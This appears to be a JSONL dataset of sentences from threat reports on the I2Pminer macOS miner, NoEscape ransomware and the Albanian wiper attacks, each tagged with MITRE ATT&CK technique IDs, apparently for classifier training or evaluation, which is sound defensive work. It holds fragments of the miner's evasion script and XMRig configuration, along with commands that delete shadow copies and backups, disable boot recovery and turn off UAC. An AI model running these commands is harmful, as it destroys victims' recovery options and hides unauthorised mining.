{"sentence": "= \"\" ] && kill \"$PID\" >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "\"._${r_i2}\";exit); done; finished=\"false\"; while [ \"$finished\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "\"._${r_i2}\";exit); done; [[ \"$md1\" == \"$md2\" ]] && complete=\"true\"; done; TMPFILE=$(mktemp /tmp/._XXXXXXXX);", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "HP=false; echo '{ \"api\": { \"id\": null, \"worker-id\": null }, \"http\": { \"enabled\": true, \"host\": \"127.0.0.1\", \"port\": 4543, \"access-token\": 2, \"restricted\": false }, \"autosave\": true, \"background\": false, \"colors\": true, \"title\": true, \"randomx\": { \"init\": -1, \"init-avx2\": -1, \"mode\": \"auto\", \"1gb-pages\": false, \"rdmsr\": true, \"wrmsr\": true, \"cache_qos\": false, \"numa\": true, \"scratchpad_prefetch_mode\": 1 }, \"cpu\": { \"enabled\": true, \"huge-pages\": '$HP', \"huge-pages-jit\": false, \"hw-aes\": null, \"priority\": null, \"memory-pool\": false, \"yield\": true, \"max-threads-hint\": 25, \"asm\": false, \"argon2-impl\": null, \"astrobwt-max-size\": 550, \"astrobwt-avx2\": false, \"cn/0\": false, \"cn-lite/0\": false }, \"opencl\": { \"enabled\": false, \"cache\": true, \"loader\": null, \"platform\": \"AMD\", \"adl\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"cuda\": { \"enabled\": false, \"loader\": null, \"nvml\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"donate-level\": 0, \"donate-over-proxy\": 1, \"log-file\": null, \"pools\": [ { \"algo\": null, \"coin\": null, \"url\": \"127.0.0.1:4444\", \"user\": \"x\", \"pass\": \"x\", \"rig-id\": \"'${XARCH:0:1}${appId:0:7}'\", \"nicehash\": true, \"keepalive\": false, \"enabled\": true, \"tls\": false, \"tls-fingerprint\": null, \"daemon\": false, \"socks5\": null, \"self-select\": null, \"submit-to-origin\": false } ], \"print-time\": 60, \"health-print-time\": 60, \"dmi\": true, \"retries\": 5, \"retry-pause\": 5, \"syslog\": false, \"tls\": { \"enabled\": false, \"protocols\": null, \"cert\": null, \"cert_key\": null, \"ciphers\": null, \"ciphersuites\": null, \"dhparam\": null }, \"user-agent\": null, \"verbose\": 0, \"watch\": true, \"pause-on-battery\": false, \"pause-on-active\": false }'|curl --silent --data-binary @- -H \"Expect: 2400\" -H \"Content-Type: application/json\" -H \"Authorization: Bearer 2\" http://127.0.0.1:4543/1/config >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "/dev/null; [ -f \"$d_p\" ] && rm -rf \"$d_p\"; (APID=$$;(while true; do sleep 3;(pgrep -x 'Activity Monitor' > /dev/null) && break;done;); [ \"$I2PD_PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "= \"\" ] && kill \"$PIDW\" > /dev/null 2>&1; [ \"$PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "= \"\" ] && kill \"$PID\" > /dev/null 2>&1; pkill \"._${r_nme}\"; pkill \"._${r_i2}\"; kill \"$APID\" > /dev/null 2>&1;); exit) & echo $! >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "\"/tmp/i2pd/._pid\"); XMRig Config { \"api\": { \"id\": null, \"worker-id\": null }, \"http\": { \"enabled\": true, \"host\": \"127.0.0.1\", \"port\": 4543, \"access-token\": 2, \"restricted\": false }, \"autosave\": true, \"background\": false, \"colors\": true, \"title\": true, \"randomx\": { \"init\": -1, \"init-avx2\": -1, \"mode\": \"auto\", \"1gb-pages\": false, \"rdmsr\": true, \"wrmsr\": true, \"cache_qos\": false, \"numa\": true, \"scratchpad_prefetch_mode\": 1 }, \"cpu\": { \"enabled\": true, \"huge-pages\": \"$HP\", \"huge-pages-jit\": false, \"hw-aes\": null, \"priority\": null, \"memory-pool\": false, \"yield\": true, \"max-threads-hint\": 25, \"asm\": false, \"argon2-impl\": null, \"astrobwt-max-size\": 550, \"astrobwt-avx2\": false, \"cn/0\": false, \"cn-lite/0\": false }, \"opencl\": { \"enabled\": false, \"cache\": true, \"loader\": null, \"platform\": \"AMD\", \"adl\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"cuda\": { \"enabled\": false, \"loader\": null, \"nvml\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"donate-level\": 0, \"donate-over-proxy\": 1, \"log-file\": null, \"pools\": [ { \"algo\": null, \"coin\": null, \"url\": \"127.0.0.1:4444\", \"user\": \"x\", \"pass\": \"x\", \"rig-id\": \"'${XARCH:0:1}${appId:0:7}'\", \"nicehash\": true, \"keepalive\": false, \"enabled\": true, \"tls\": false, \"tls-fingerprint\": null, \"daemon\": false, \"socks5\": null, \"self-select\": null, \"submit-to-origin\": false } ], \"print-time\": 60, \"health-print-time\": 60, \"dmi\": true, \"retries\": 5, \"retry-pause\": 5, \"syslog\": false, \"tls\": { \"enabled\": false, \"protocols\": null, \"cert\": null, \"cert_key\": null, \"ciphers\": null, \"ciphersuites\": null, \"dhparam\": null }, \"user-agent\": null, \"verbose\": 0, \"watch\": true, \"pause-on-battery\": false, \"pause-on-active\": false } Endnote https://www.trendmicro.com/en_us/research/22/b/latest-mac-coinminer-utilizes-open-source-binaries-and-the-i2p-network.html Additional Resources Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Get a full-featured free trial of CrowdStrike Falcon Prevent and see for yourself how true next-gen AV performs against today’s most sophisticated threats.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "New Ransomware-as-a-service (RaaS) Targeting Vmware ESXi Servers Recently, Cyble Research & Intelligence Labs (CRIL) detected the emergence of a fresh Ransomware-as-a-Service (Raas) initiative called ‘NoEscape.’", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This program was discovered to be promoted on a cybercrime forum towards the end of May 2023.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The creators of NoEscape were actively seeking affiliates to join their network.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "CRIL has shared the details of this discovery through the latest blog post.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The figure below shows the post by security researcher EVIL RABBIT.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 1 – NoEscape RaaS Affiliate Panel (Source: EVILRABBIT)", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The affiliate page includes instructions for customizing the ransomware executables, such as specifying the ransomware name, ransomware key name, comment, price or ransom amount, and timer type (None, double, or leak).", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "According to the provided screenshot, the NoEscape RaaS platform offers affiliates the option to choose between generating a single encryption key for all binaries or creating distinct keys for each individual binary.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "These settings include specifying the size of large files where partial encryption is applied instead of encrypting the entire file, defining the primary path for encryption, specifying file paths to skip during encryption, targeting specific services and processes, configuring autorun entries, enabling auto ransom note opening, and even changing wallpapers on infected systems.", "labels": ["T1547.001"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the screenshot of the NoEscape ransomware builder page.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 3 – File details Upon execution, the ransomware first creates a mutex named “Global\\\\{5d202e6e-b33a-4833-abfb-2391bc075089}” to ensure that only a single instance of the malware is running on the victim’s system.", "labels": ["T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "UAC prompts users for permission or administrator credentials before allowing actions that could affect system settings or files.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By deactivating UAC, the ransomware gets elevated privileges without requiring user permission or administrator credentials.", "labels": ["T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This enables the malware to carry out malicious activities on the system without difficulty, posing a significant risk to the system’s security.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "UAC is typically set to “1” by default.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA = “0” ConsentPromptBehaviorAdmin The ConsentPromptBehaviorAdmin key has been set to “0”, indicating that the behavior of the consent prompt for actions requiring administrator privileges has been modified.", "labels": ["T1112"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By default, this value is typically set to “1”.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The figure below shows the list of process names targeted by the NoEscape ransomware.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the list of services targeted by the ransomware by service name.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 5 – List of Services to Stop Prior to encrypting the files, the ransomware uses the FindFirstVolumeW() and FindNextVolumeW() API functions to search and identify accessible volumes on the targeted system.", "labels": ["T1083", "T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Once the ransom note has been dropped, the malware proceeds to identify files and directories for encryption by iterating through them using the FindFirstFileW() and FindNextFileW() API functions.", "labels": ["T1083", "T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The NoEscape ransomware excludes the below file extensions and folder names from encryption.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 6 – directory names and file extensions excluded by NoEscape ransomware Encryption To encrypt files in the victim’s system, the ransomware utilizes the “Microsoft Enhanced RSA and AES Cryptographic Provider” libraries.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Within these libraries, the malware leverages various functions from the CryptoAPI, including CryptAcquireContextW(), CryptImportKey(), CryptSetKeyParam(), and CryptEncrypt().", "labels": ["T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 7 – File Encryption In the next step, the malware renames the encrypted files with the extension “.CCBDFHCHFD” and replaces them with the original files using the MoveFileExW() API function, as shown below.", "labels": ["T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The image below illustrates the files that have been encrypted by the NoEscape ransomware after the successful infection on the victim’s machine.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By executing these commands, the ransomware ensures that alternative copies of the encrypted files are removed, limiting the victim’s ability to restore their files through backup or shadow copy mechanisms.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "System state backups include critical operating system files, such as the registry, COM+", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The -keepVersions parameter specifies the number of versions to keep, and 0 means all versions except the latest one will be deleted.wbadmin DELETE BACKUP -deleteOldestThis command utilizes wbadmin to delete the oldest regular backup.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Regular backups typically include user data and other files.wbadmin DELETE BACKUP -keepVersions:0Similar to the previous command, this one deletes all versions of regular backups except the most recent one, based on the -keepVersions parameter.vssadmin Delete Shadows /All /QuietThis command uses the vssadmin tool to delete all shadow copies (also known as volume snapshots) on the system.bcdedit /set {default} recoveryenabled NoThis command uses the bcdedit tool to modify the boot configuration data (BCD) of the default boot entry.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It sets the recoveryenabled option to “No,” which disables the automatic recovery options during system startup.bcdedit /set", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It sets the bootstatuspolicy option to “ignoreallfailures,” which means the system will ignore any failures encountered during the boot process.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure illustrates the sequence of commands executed by the NoEscape ransomware to delete shadow copies and system backups.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 10 – Commands executed to delete shadow copies and system backups Ransom Note Finally, the ransom note that is dropped in the system provides victims with instructions on how to establish contact with the NoEscape Ransomware Group to initiate negotiation proceedings regarding the ransom.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The ransom note serves as a communication channel through which the victims can follow the specified steps to engage with the ransomware operators and negotiate the terms of the ransom payment.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 11 – NoEscape Ransom note Linux Variant The NoEscape Linux variant consists of three files: “script_linux.sh,” “script_esxi.sh” and “164f8295_linux.elf“.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Ransomware Targeting Linux Machines The “script_linux.sh” script is designed to facilitate the execution of a ransomware payload “164f8295_linux.elf“.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Its primary purpose is to carry out the encryption process on the victim’s Linux machine by scanning files in a specified or generic path and running the ransomware payload, “164f8295_linux.elf”, on each file it encounters.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the code snippet “script_linux.sh”.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 12 – content of script_linux.sh The script “script_linux.sh” executes the following functions: SetLimits() –", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This function is responsible for adjusting the resource limits of the running process.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By doing so, the function ensures that the script has the capability to handle a larger number of open files and concurrent processes, which is crucial for efficient file encryption in the context of ransomware.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "EmptyTrash() – This function is responsible for deleting all files and directories in the user’s trash folder.", "labels": ["T1070.004"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By emptying the trash, the ransomware eliminates any possibility of file restoration from that location, making the encryption process more effective and irreversible.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This function executes the ransomware payload file “164f8295_linux.elf”, by passing the file path to be encrypted as an argument.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "ScanPath(): This function scans a specified path by finding all files within the given directory and its subdirectories.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "WaitPayload(): This function waits until the payload process is no longer running.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It checks the number of running instances of the payload executable and waits until the count becomes zero.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The purpose of waiting for the Ransomware process to finish is to ensure that all files have been encrypted before proceeding to the next steps of the ransomware attack.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It removes log files and temporary files from the root directory.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It targets specific paths, including NFS volumes and VM volumes, and encrypts files found within those paths.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 13 – Content of script_esxi.sh The script “script_esxi.sh” executes the following functions:", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "StopVMS(): This function stops running virtual machines (VMs) on an ESXi server.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It uses the esxcli command to list all VM processes and forcibly kills them.", "labels": ["T1057"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "It retrieves the list of NFS volumes using esxcli and then iterates over each volume to find files.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "For each file found, it calls ExecPayload() to execute the ransomware payload.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "These file extensions include .nvram,.vmdk,.vmem,.vmsd,.vmsn,.vmss,.vmx,.vmxf, and .vswp.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "For each file found, the function calls the ExecPayload() function to execute the ransomware payload for encrypting them.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Deface() – This function replaces the “index.html” and “motd” files with ransom notes to ensure the ransom alert is displayed to victims upon login.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Post()-", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This function modifies system files such as cron tab entries and configuration files to further disrupt the system and prevent recovery.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Linux Ransomware Payload:", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The file “164f8295_linux.elf” (Sha256: 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da) is responsible for encrypting the files in the victim’s machine.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Upon execution, the ransomware encrypts files using the chacha20 algorithm.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The Ransomware incorporates a feature to encrypt larger files in smaller chunks.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The TA can mention the file size, which is considered as larger, and the size of encryption in the Ransomware panel while building the binary.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the code used by ransomware for validating and encrypting larger files.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 14 – Validating and Encrypting Larger Files Finally, the Ransomware drops a ransom note named “HOW_TO_RECOVER_FILES.txt ” which instructs the victims on how to reach out to the TAs to recover their encrypted files and pay a ransom.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "They are actively seeking affiliates through postings on various dark web forums.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Our analysis of the Windows and Linux malware executables indicates that the malware poses a threat to organizations of all types.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "We will maintain our vigilance in monitoring NoEscape RaaS, their tools, tactics, and procedures, in order to provide regular updates to our customers and readers in the future.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile Refrain from opening untrusted links and email attachments without verifying their authenticity Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network Disconnect external storage devices if connected Inspect system logs for suspicious events Impact of Ransomware Loss of valuable data Loss of the organization’s reputation and integrity Loss of the organization’s sensitive business information Disruption in organization operation Financial loss MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionPersistenceT1547.001 Registry Run Keys / Startup FolderDiscoveryT1083File and Directory DiscoveryDefense EvasionT1070 T1562Indicator Removal Impair DefensesImpactT1486 T1490Data encrypted for impact Inhibit System RecoveryIndicators of Compromise (IOCs) Indicators Indicator Type Description 65f35ae4203cf5041a0aaa358dd3d74c ea1f7940271fc80d06b2f222506020b650ad41bc 68e5caa3f0fd4adc595b1163bf0dd30ca621c5d7a6ad0a20dfa1968346daa3c8MD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA2561ce30fbd_dll.dll9ea0d4448472cdeeb290e8006e8b1e9b 30f71a24c15dd81965b12996a79d914acf4f169e 2cd1ca52a5d404176f0ec7debeceb4ba3c95b139061f86ac971195b02d854b0cMD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA25606b91e4a_exe.exebd69a645fa69fd8d5ba56b9c3f468711 12dc0a2de3ad30201107bfcb679de5acacf31e5c 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8MD5 SHA1 SHA25623cd1f01_exe.exec850f6816459e3364b2a54239642101b", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "30c60f18279ed5fd36e3ac2d3ba5ddbdc5d1f624 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6daMD5 SHA1 SHA256164f8295_linux.elf473d65d1231ccdfa0099d463b09cf9b9 9cbc7417fa5ce2f6d87026337fc7892e4f485819 07c70968c66c93b6d6c9a90255e1c81a3b385632c83f53f69534b3f55212ced9MD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA256bd83e75f_dllreflinj.dll47ae17d89c2d9b6acdc7458f5df1c6f7 d38c613020cb4616783c8535380e28404f7eaebf 9d346518330eeefbf288aeca7b2b6243bc158415c7fee3f2c19694f0e5f7d51cMD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA256ca3ec998_xp.exe34de9725e232ba82275bb0dcf9282e16 b17403e7dcb992ba8d2b56dd843406264d3910e5 aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58MD5", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "SHA1 SHA256script_esxi.sh17d55dc09e2a3f10d4ee45156c2c53f1 317f296131b37a73c9a5d253015821dfdc8b1190 16d9e969457a76874e7452e687a7b6843c65ef75d1a4404d369074ad389f6c38MD5 SHA1 SHA256script_linux.sh", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Introduction On July 17, 2022, Albanian news outlets reported a massive cyberattack that affected Albanian government e-services.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "A few weeks later, it was revealed that the cyberattacks were part of a coordinated effort likely intended to cripple the country’s computer systems.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "On September 10, 2022, Albanian local news reported a second wave of cyberattacks targeting Albania’s TIMS, ADAM and MEMEX systems – the latter two systems critical for law enforcement – reportedly using the same attack type and by the same actors.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Around the same time, we identified ransomware and wiper malware samples resembling those used in the first wave, though with a few interesting modifications that likely allowed evasion of security controls and better attack speeds.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Chief among those changes are the embedding of a raw disk driver, providing direct hard disk access inside the malware itself, modified metadata, and the use of Nvidia’s leaked code signing certificate to sign the malware.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "So, what’s new in this blogpost?", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "We compare the first and second waves of ransomware and wiper malware used to target Albanian entities and detail connections with previously known ROADSWEEP ransomware and ZEROCLEARE variants.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The changes implemented to automate and speed up wiping in the second wave of attacks are reminiscent of the notorious Shamoon wiper attacks in the Middle East.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Wiper and ransomware, comparing wave 1 and wave 2 Below, we compare and discuss the differences between the wave 1 and wave 2 ransomware and wiper malware.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Initial Infection – traces of cooperation between different attack groups and use of AnyDesk utility", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Although we weren’t able to identify the initial entry point of the threat actor in the analyzed intrusion, a few days after the second wave wiping activities, we noticed underground chatter about someone having access to an AnyDesk account at another non-governmental but significant Albanian entity, and suggestions for Persian-speaking hackers to use it for deploying ransomware or wiper malware.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This may increase the likelihood that the initial entry point for wave 2 is through legitimate remote access software such as AnyDesk, especially since we know that the wave 2 wiper modifications included automatic execution upon driver installation only – potential need for urgency due to the limited time/access window.", "labels": ["T1219"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The ransomware – use of Kuwait Telecommunications Company signing certificate MD5 96eabcc77a6734ea8587599685fbf1b4 SHA1 6a36962709abbfc1f88f87e7fe88a417302bfe43 SHA256 8ad01b028e6aa711d26879d346a7bef82516e372e0f14e8e69db6aef0f25d992 Imphash 653ee44c85bc91d12ec33dfed8056c27 Link time Wed Jul 06 21:30:41 2016 File type 32-bit executable Compiler MinGW-w32 gcc File size 45.48 KB File name PdftoDoc.exe This second wave sample has the same signing certificate parameters as the first wave sample, which is related to Kuwait Telecommunications Company.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "It’s unclear how the threat actor was able to sign its malware using Kuwait Telecommunications Company’s certificate, but we suspect it was stolen.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "As of the date of this publication, the certificate is no longer valid and has been revoked.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "After the initial execution, the wave 2 ransomware checks for any six arguments (or more) supplied by the threat actor, as opposed to the wave 1 sample that checks for five arguments or more – a small modification that assists in defense evasion.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Nevertheless, the intrusion analysis conducted on one of the affected machines indicates that in wave 2 the threat actor did not use a BAT file to invoke the ransomware while supplying seven digits similar to wave 1, but instead invoked the wave 2 ransomware immediately from the command line using six zeroes: “000000”.", "labels": ["T1059.003"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "During the process of execution, wave 2 ransomware attempts to decrypt and execute embedded scripts, malware settings or API function names.", "labels": ["T1027", "T1140"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The intrusion we analyzed in wave 2 indicates that the ransomware was probably deployed over the internal network, possibly from another compromised machine.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This is reinforced by the fact that we didn’t see anything else dropped or executed before the ransomware execution, and the ransomware executable name was randomly generated, potentially by the tool the threat actor used to deploy it over the network (e.g., Mellona.exe).", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Despite all the changes made in the wave 2 ransomware, the ransom notes remained the same and included political messaging that reflects the geopolitical tensions between Albania and Iran.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "File type PE 64-bit Compiler Microsoft Visual C/C++ File size 174.00 KB File name DiskSnapshot.exe Driver PDB path c:\\projects\\rawdisk\\bin\\wnet\\fre\\amd64\\rawdsk3.pdb Driver key B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D Similar to the wave 2 ransomware sample, the threat actor made several modifications to the wave 2 wiper malware, probably to evade detection.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The three main changes are: Modified malware signing Embedding of EldoS RawDisk driver inside the wiper malware Automatic wiping after driver installation command Historically, in ZEROCLEARE and DUSTMAN incidents from 2019, the wiper malware and raw disk drivers were not signed and therefore could not directly access the raw disk for speedy data wiping.", "labels": ["T1027"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
